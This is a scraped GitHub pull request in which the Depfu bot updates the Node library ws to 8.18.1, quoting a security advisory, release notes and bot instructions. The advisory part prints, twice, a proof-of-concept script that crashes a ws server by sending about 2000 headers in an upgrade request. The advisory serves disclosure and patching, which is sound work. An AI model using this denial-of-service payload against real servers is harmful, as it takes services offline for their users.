🚨 [security] [node] Update ws 8.15.1 → 8.18.1 (minor) #400

depfu · 2025-03-30T22:46:15Z

Welcome to Depfu 👋

This is one of the first three pull requests with dependency updates we've sent your way. We tried to start with a few easy patch-level updates. Hopefully your tests will pass and you can merge this pull request without too much risk. This should give you an idea how Depfu works in general.

After you merge your first pull request, we'll send you a few more. We'll never open more than seven PRs at the same time so you're not getting overwhelmed with updates.

Let us know if you have any questions. Thanks so much for giving Depfu a try!

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ ws (8.15.1 → 8.18.1) · Repo

Security Advisories 🚨

🚨 ws affected by a DoS when handling a request with many HTTP headers

Impact

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {

const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');

const headers = {};

let count = 0;
for (let i = 0; i < chars.length; i++) {

if (count === 2000) break;
<span class="pl-k">for</span> <span class="pl-kos">(</span><span class="pl-k">let</span> <span class="pl-s1">j</span> <span class="pl-c1">=</span> <span class="pl-c1">0</span><span class="pl-kos">;</span> <span class="pl-s1">j</span> <span class="pl-c1">&lt;</span> <span class="pl-s1">chars</span><span class="pl-kos">.</span><span class="pl-c1">length</span><span class="pl-kos">;</span> <span class="pl-s1">j</span><span class="pl-c1">++</span><span class="pl-kos">)</span> <span class="pl-kos">{</span>
  <span class="pl-k">const</span> <span class="pl-s1">key</span> <span class="pl-c1">=</span> <span class="pl-s1">chars</span><span class="pl-kos">[</span><span class="pl-s1">i</span><span class="pl-kos">]</span> <span class="pl-c1">+</span> <span class="pl-s1">chars</span><span class="pl-kos">[</span><span class="pl-s1">j</span><span class="pl-kos">]</span><span class="pl-kos">;</span>
  <span class="pl-s1">headers</span><span class="pl-kos">[</span><span class="pl-s1">key</span><span class="pl-kos">]</span> <span class="pl-c1">=</span> <span class="pl-s">'x'</span><span class="pl-kos">;</span>

  <span class="pl-k">if</span> <span class="pl-kos">(</span><span class="pl-c1">++</span><span class="pl-s1">count</span> <span class="pl-c1">===</span> <span class="pl-c1">2000</span><span class="pl-kos">)</span> <span class="pl-k">break</span><span class="pl-kos">;</span>
<span class="pl-kos">}</span>

}
headers.Connection = 'Upgrade';

headers.Upgrade = 'websocket';

headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';

headers['Sec-WebSocket-Version'] = '13';
const request = http.request({

headers: headers,

host: '127.0.0.1',

port: wss.address().port

});
request.end();

});

Patches

The vulnerability was fixed in ws@8.17.1 (e55e510) and backported to ws@7.5.10 (22c2876), ws@6.2.3 (eeb76d3), and ws@5.2.4 (4abd8f6)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in #2230.

References

#2230
#2231

Release Notes

8.18.1

Bug fixes

The length of the UNIX domain socket paths in the tests has been shortened to
make them work when run via CITGM (021f7b8).

8.18.0

Features

Added support for Blob (#2229).

8.17.1

Bug fixes

Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding theserver.maxHeadersCount
threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {

const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');

const headers = {};

let count = 0;
for (let i = 0; i < chars.length; i++) {

if (count === 2000) break;
<span class="pl-k">for</span> <span class="pl-kos">(</span><span class="pl-k">let</span> <span class="pl-s1">j</span> <span class="pl-c1">=</span> <span class="pl-c1">0</span><span class="pl-kos">;</span> <span class="pl-s1">j</span> <span class="pl-c1">&lt;</span> <span class="pl-s1">chars</span><span class="pl-kos">.</span><span class="pl-c1">length</span><span class="pl-kos">;</span> <span class="pl-s1">j</span><span class="pl-c1">++</span><span class="pl-kos">)</span> <span class="pl-kos">{</span>
  <span class="pl-k">const</span> <span class="pl-s1">key</span> <span class="pl-c1">=</span> <span class="pl-s1">chars</span><span class="pl-kos">[</span><span class="pl-s1">i</span><span class="pl-kos">]</span> <span class="pl-c1">+</span> <span class="pl-s1">chars</span><span class="pl-kos">[</span><span class="pl-s1">j</span><span class="pl-kos">]</span><span class="pl-kos">;</span>
  <span class="pl-s1">headers</span><span class="pl-kos">[</span><span class="pl-s1">key</span><span class="pl-kos">]</span> <span class="pl-c1">=</span> <span class="pl-s">'x'</span><span class="pl-kos">;</span>

  <span class="pl-k">if</span> <span class="pl-kos">(</span><span class="pl-c1">++</span><span class="pl-s1">count</span> <span class="pl-c1">===</span> <span class="pl-c1">2000</span><span class="pl-kos">)</span> <span class="pl-k">break</span><span class="pl-kos">;</span>
<span class="pl-kos">}</span>

}
headers.Connection = 'Upgrade';

headers.Upgrade = 'websocket';

headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';

headers['Sec-WebSocket-Version'] = '13';
const request = http.request({

headers: headers,

host: '127.0.0.1',

port: wss.address().port

});
request.end();

});

The vulnerability was reported by Ryan LaPointe in #2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

Reduce the maximum allowed length of the request headers using the
--max-http-header-size=size and/or the maxHeaderSize options so
that no more headers than the server.maxHeadersCount limit can be sent.
Set server.maxHeadersCount to 0 so that no limit is applied.

8.17.0

Features

The WebSocket constructor now accepts the createConnection option (#2219).

Other notable changes

The default value of the allowSynchronousEvents option has been changed to
true (#2221).

This is a breaking change in a patch release. The assumption is that the option
is not widely used.

8.16.0

Features

Added the autoPong option (01ba54e).

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 35 commits:

👉 No CI detected

You don't seem to have any Continuous Integration service set up!

Without a service that will test the Depfu branches and pull requests, we can't inform you if incoming updates actually work with your app. We think that this degrades the service we're trying to provide down to a point where it is more or less meaningless.

This is fine if you just want to give Depfu a quick try. If you want to really let Depfu help you keep your app up-to-date, we recommend setting up a CI system:

* [Circle CI](https://circleci.com), [Semaphore ](https://semaphoreci.com) and [Github Actions](https://docs.github.com/actions) are all excellent options. * If you use something like Jenkins, make sure that you're using the Github integration correctly so that it reports status data back to Github. * If you have already set up a CI for this repository, you might need to check your configuration. Make sure it will run on all new branches. If you don’t want it to run on every branch, you can whitelist branches starting with `depfu/`.

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands

@depfu rebase
Rebases against your default branch and redoes this update

@depfu recreate
Recreates this PR, overwriting any edits that you've made to it

@depfu merge
Merges this PR once your tests are passing and conflicts are resolved

@depfu cancel merge
Cancels automatic merging of this PR

@depfu close
Closes this PR and deletes the branch

@depfu reopen
Restores the branch and reopens this PR (if it's closed)

@depfu pause
Ignores all future updates for this dependency and closes this PR

@depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR

@depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)

depfu · 2025-04-01T00:15:49Z

Closing because this update has already been applied

depfu bot added the depfu label Mar 30, 2025

depfu bot force-pushed the depfu/update/node/npm/ws-8.18.1 branch 4 times, most recently from 6d6a0a0 to a9cf4b3 Compare March 31, 2025 23:35

Update ws to version 8.18.1

5bdf465

depfu bot force-pushed the depfu/update/node/npm/ws-8.18.1 branch from a9cf4b3 to 5bdf465 Compare April 1, 2025 00:00

depfu bot closed this Apr 1, 2025

depfu bot deleted the depfu/update/node/npm/ws-8.18.1 branch April 1, 2025 00:15

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

🚨 [security] [node] Update ws 8.15.1 → 8.18.1 (minor) #400

🚨 [security] [node] Update ws 8.15.1 → 8.18.1 (minor) #400

depfu bot commented Mar 30, 2025 •

edited

Loading

depfu bot commented Apr 1, 2025

🚨 [security] [node] Update ws 8.15.1 → 8.18.1 (minor) #400

🚨 [security] [node] Update ws 8.15.1 → 8.18.1 (minor) #400

Conversation

depfu bot commented Mar 30, 2025 • edited Loading

What changed?

✳️ ws (8.15.1 → 8.18.1) · Repo

🚨 ws affected by a DoS when handling a request with many HTTP headers

Impact

Proof of concept

Patches

Workarounds

Credits

References

8.18.1

Bug fixes

8.18.0

Features

8.17.1

Bug fixes

8.17.0

Features

Other notable changes

8.16.0

Features

depfu bot commented Apr 1, 2025

depfu bot commented Mar 30, 2025 •

edited

Loading